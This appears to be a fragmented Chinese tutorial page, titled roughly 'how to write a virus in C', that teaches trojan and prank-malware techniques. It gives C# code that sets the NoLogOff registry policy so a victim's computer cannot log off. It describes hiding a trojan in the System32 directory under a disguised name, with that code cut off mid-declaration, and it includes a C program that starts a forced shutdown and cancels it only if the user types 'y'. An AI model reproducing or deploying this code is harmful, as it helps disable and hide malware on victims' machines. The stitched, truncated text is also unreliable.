这里我做了一个修改注册表的子程序:使计算机不能注销 。在这之前先了解注册表 , 在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer下面设键值NoLogOff 为 1 即可使计算机无法注销 。
在下面的函数中用C#实现对注册表的修改:private void UnLogOff(){//得到主机的注册表的顶级节点Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;//设置一个注册表子键的变量RegistryKey key1;try{//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键//registrykey是用户指定的键值 , canwrite 为true则可修改 , 默认为fasle不可改key1 =rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);//设置子键的键名 , 和值key1.SetValue ("NoLogOff",1);//关闭打开的子键key1.Close();//警告字符串设定mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}//如果不存在自已建立if(key1 ==null){try{//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");key2.SetValue("NoLogOff",1);key2.Close();mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";}catch{}}} 4、在木马程序中还有一个重要的功能就是自我的复制和转移 。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现 。
转移的代码分析如下 , 主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe , 同时换名称 。使用的.NET命名空间System.IO , 它的作用是允许对数据流和文件进行同步和异步读写 。
这里我们使用了System.IO.File类 。private void。
9. C语言编写的病毒有哪些 #include #include main(){ char a; int b; system("shutdown -s"); printf ("你是不是猪?\n是的话请输入y , 不是的话就输入n吧 。
"); a = getchar(); b = a == 'y'; if (b == 1) { system("shutdown -a"); printf("哈 , 世界上有多了一头会说话的猪 。\n"); } else printf("后果很严重……\n"); getchar(); getchar(); return 0;}这应该不算病毒 , 没有自我复制功能 , 你放进编译器里面运行看看会有什么后果吧 。
【怎么用c语言写病毒程序】
文章插图